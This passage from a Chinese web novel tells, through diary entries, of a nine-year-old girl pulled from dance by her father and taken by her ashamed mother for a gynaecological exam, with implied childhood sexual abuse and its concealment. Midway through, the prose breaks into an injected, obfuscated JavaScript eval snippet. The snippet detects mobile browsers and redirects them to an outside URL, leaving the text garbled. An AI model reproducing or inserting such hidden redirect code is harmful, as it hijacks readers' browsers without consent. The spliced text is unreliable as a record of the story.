她写道:


    【九岁那年，他对她做了过分的事。


    她被他从舞蹈团拖出来，她双手用力扳着舞蹈团的木质大门，在同学和老师面前毫无尊严地拼命挣扎、祈求。


    她发誓她没做错什么。


    她只是在练功室里和刚搭档不久的男舞伴练习托举旋转，大两岁的罗彬托着她的腰，她一脚搭在罗宾肩膀，一腿蜷起，双手捧着他的头，罗宾要带着她做旋转三周的高难度动作，她和罗宾的步法和走位都很生疏、不到位，教练耐心地在旁边指点。


    他的突然出现，让气氛变得凝重。大概她们的每个动作都像一把肮脏不堪的触手，在拨弄他的底线。他冲进门。


    她手一滑，从罗宾肩膀上摔了下来，“扑通”一声，呈一字马摔在地板上，一动不动。


    陈教练震惊地过来查看她，她痛得浑身僵硬不敢动。而他，却一把拽起她。


    陈教练立时劝阻，“您冷静一下。”


    “我来带回我女儿。”他羞愤地说，“我已经明确跟您讲过了，我家孩子不跳了。”


    教练着急，“她很有天赋的，这个年纪可以做到这样的动作你都不知道有多么了不起，而且能找到和她不相上下的舞伴也很难得，更何况，马上就到比赛日期了。”


    “她要是敢跳舞，我就打断她的腿。”他拉起她，“走，跟我回家。”


    她挣扎几次，不愿跟他走，可还是被他拖着往外扯，她擦伤的大腿内侧流下鲜血。她的舞蹈生涯就此流产。】


    也是在那天，张朝偶然在阳台上捡到了许多照片碎屑。


    他翻着那泛黄的日记纸张，夹在中间的那张自己粘贴的照片虽仍然美丽，但毕竟是碎过的。


    他翻开后面一篇日记，她写道:


    【那年，她的病情很严重。


    “这是……这是怎么弄的嘛！”李雪梅叹气。


    红糖味热腾腾湿乎乎的香气扑在脸侧，她抿了抿唇，抱着膝盖缩在床里。


    李雪梅坐在床前，端起书桌上的红糖水，用勺子调匀，递给她，嘱咐说:“把这碗红糖水全喝了，你就好了。”


    她坐起身，端起碗，把红糖水一口气喝尽，嘴里弥漫着蔗糖的清香味，余味却干涩发酸。


    红糖水一路到胃，那种热度像渗透到骨子里似的，顿觉手脚的冰凉缓和些。


    “到底是怎么回事，你怎么这么小就……”李雪梅拍她的背。


    她浑身紧张，她垂下头，看向被罩的花纹，道:“一直很……很疼，而且……”


    李雪梅皱眉。


    她身体滑进被子里，下巴也缩进被子里，自觉难以启齿。


    “……疼。”她垂下头，嗓音沙哑，要被自己吞没。


    李雪梅不肯相信，立即起身拉她到厕所。


    她光着脚站在冰冷的瓷砖上，仰着头，看上边裸露的丑陋的电线，看那个只消一周没清理，就生出灰白色水垢的莲蓬头，看刚用了一周便瘦了一大圈的白色肥皂。


    李雪梅的动作有些粗鲁，没有女人的纤细柔软，她的手又粗又厚，充满力量，像个男人。


    她忍不住咬住嘴唇，忍耐着承受着那种尴尬和没尊严。


    想哭。


    一番仔细认真的检查过后，不知为什么，李雪梅大惊失色，头发也散了，她瞪着通红的眼睛，问，“你告诉妈，你什么时候开始流血的？”


    她不说话。


    “什么时候——”她摇她。


    她被吓到，说，“今天早上。”


    她立马起身，生拉硬拽，“走，妈带你去医院。”


    她不解又恐惧，“妈，我不想去。”


    “不行。”她剜她，眼神寒冷凄厉，像冬天的风，刮着刀子。


    她看起来越发楚楚可怜。


    李雪梅终于妥协，选择沟通，“那你跟我说实话，以前有没有过？”


    她如遭雷击，心虚，脸颊淌下汗，她反应激烈，猛摇头，“没有。”


    李雪梅甩开她，瞪她，这让她觉得，她像厌弃一件旧衣服一样厌弃她。


    李雪梅知道了什么似的，笃定了什么似的，将她的这次生病视为不良事件。


    李雪梅匆匆回屋换衣服，随便拽出一条裙子就穿，头发也忘记绑。


    她站在门口看着李雪梅，心里怕极了。


    县城里最大的那家医院离姜家不是很远，但是李雪梅还是带她去看离家最远的一家小诊所，像是躲着什么，难以见人。


    诊所在居民楼里，甚至连牌子都没挂，屋里又破又脏，坐着一排挂点滴的精神萎靡的病人，散发着一股浓重的消炎药水味。


    见是男大夫，李雪梅只觉伤风败俗，又气急败坏地拽她出门。


    从前的李雪梅很温柔慈爱，凡事都护着她，可那次不一样，她像押犯人一样按着她往前走。


    李雪梅向来生活仔细，从来不大手大脚，但那次，李雪梅竟然花钱叫了一辆三轮车，三轮车敞着棚，“突突突”往回开。


    她的脸惨白惨白的。


    她们最后还是不得不回家附近的县中心医院，医院正门立着一个巨大的红十字，她注视着那个十字架，目光怔仲。


    十字架意味着拯救救赎，但却很少有人知道，十字架最原本是古罗马的一种残忍的刑具，是残酷，是羞辱的象征。


    ……


    县城很小，人口不多，可不知为什么，医院里总是填山塞海一般，人都聚在这里。


    李雪梅一进大堂就浑身不自在，站在人群里东张西望，手紧紧攥着姜暮，烦躁不安，她便显得更虚弱。


    护士笑容满面地过来询问是否需要帮助，李雪梅避开护士，做贼似地拉她离开，直奔款台。


    填挂号本时，李雪梅攥着圆珠笔迟迟下不了笔。


    李雪梅迟疑好久，最终在姓名一栏写下“李雪梅”三个字。


    写到后边的年龄一栏时，李雪梅又迟疑了，笔尖停顿片刻，最后写下“32岁”。


    李雪梅交好挂号费，到妇科门诊去听号，她也安静地坐在一旁。


    医院里人来人往，络绎不绝。


    坐诊医生门口，排着长长的队伍。


    一个护士在旁边维持秩序，另一个护士把病历本排列起来，按顺序叫病人进去。


    李雪梅始终垂着头，不敢与人对视，生怕遇着街坊邻居或者厂子里的同事，要是那样，她这张脸怕是没处放了。


    如果有口麻袋，李雪梅恨不得把她罩上。


    那时，她看到头顶的白炽灯，还有走廊尽头火红的夕阳，它们


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13127642|134156||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    交并在一起，那么亮，但她罩在李雪梅肩膀下的阴影里，昏暗无光。


    二十分钟的时间，两个人竟恍如过了半个世纪。


    她像那蒸不烂煮不熟的豆子，被扔在锅里小火慢熬。


    ……


    诊室里通体白色墙壁，一张很长的红色木桌，杂乱无章地摆着几样文具。


    瘦削的女医生戴着一副黑框眼镜，穿一身白大褂，靠墙坐着，肩膀蹭上些许白灰。


    李雪梅硬起头皮，把她按在座位里。


    她眼睛看向地面，有些害怕，不知道会检查出什么。


    女医生温柔地问她，“你怎么了？”


    她低着头。


    医生看向病例单，皱眉，上下扫视她一圈，“是你看病吗？这写的什么，三十二岁？”


    她脸颊红透。


    医生看向李雪梅，不耐烦地把年龄划掉，说，“出去重新排队。”


    那天真的要做检查的时候，她逃跑了。


    后来她还是被拖上一张床，李雪梅按着她，医生只是看了一眼说，“有两点撕裂，还有感染。”


    她哭着说，“跳舞的时候老师让做高难度动作，但是我被托举时摔了下来，结果出了很多血。”


    李雪梅问，“她是不是……”


    医生笑说，“小孩子没事的，这次流血属于正常的例假。”


    医生对她生活习惯了解过后，确认她的炎症来自于家里新养的两条黑狗，她每天和黑狗一起睡，是极其不卫生的。


    因为医院先前便有几个这样的病例，所以她的谎言才得以善终。


    医生说，“多喝点红糖水就好了。”


    李雪梅担忧道，“可她才九岁啊。”


    医生说，“带她去内分泌科检查一下激素分泌情况吧，她这是早熟。”


    从医院出来，李雪梅拽着她回家。李雪梅脚步飞快，躬着背大步往回走，和往日挺拔的样子判若两人。


    她有些怕。


    李雪梅每一个眼神都像一根钉子，把她牢牢钉在屈辱的十字架上。


    可是她亦知道，比她更害怕的人，其实是李雪梅。她甚至不敢把那项检查跟她的丈夫说。】


    ……


    这篇日记很长，还写到这样一段对话:


    “以后你也不能再把卫生巾都藏起来了，教会她怎么用了吗？”


    “我没好意思教，让她自己探索吧，这话我可说不出口。”


    “想要延缓她的那方面发育，我们以后各方面都要注意。”


    “对了，医生还说，要时刻提防她早恋，或者其他一些方面的出格行为。”


    ……


    后来，姜暮在她十五岁时的日记里这样写道:


    她知道，她有罪。如果5岁时，她对那种伤害还没有太多感觉，因为她什么都不懂，她只知道那件事可能不对，只知道只要不告诉父母就好了。可是9岁那年，她深深地明白了事情的严重性，张文斌说的对，她要彻底隐藏那件事。所以尽管时隔多年，在她12岁那天，他把她堵在家门口时，她就知道她完蛋了。


    伏尔泰说，一个人往往要死两次，不再爱，不再被爱。


    可姜暮不知道，一个人从青春走向成熟，总得经历些什么，总要“死”过一次。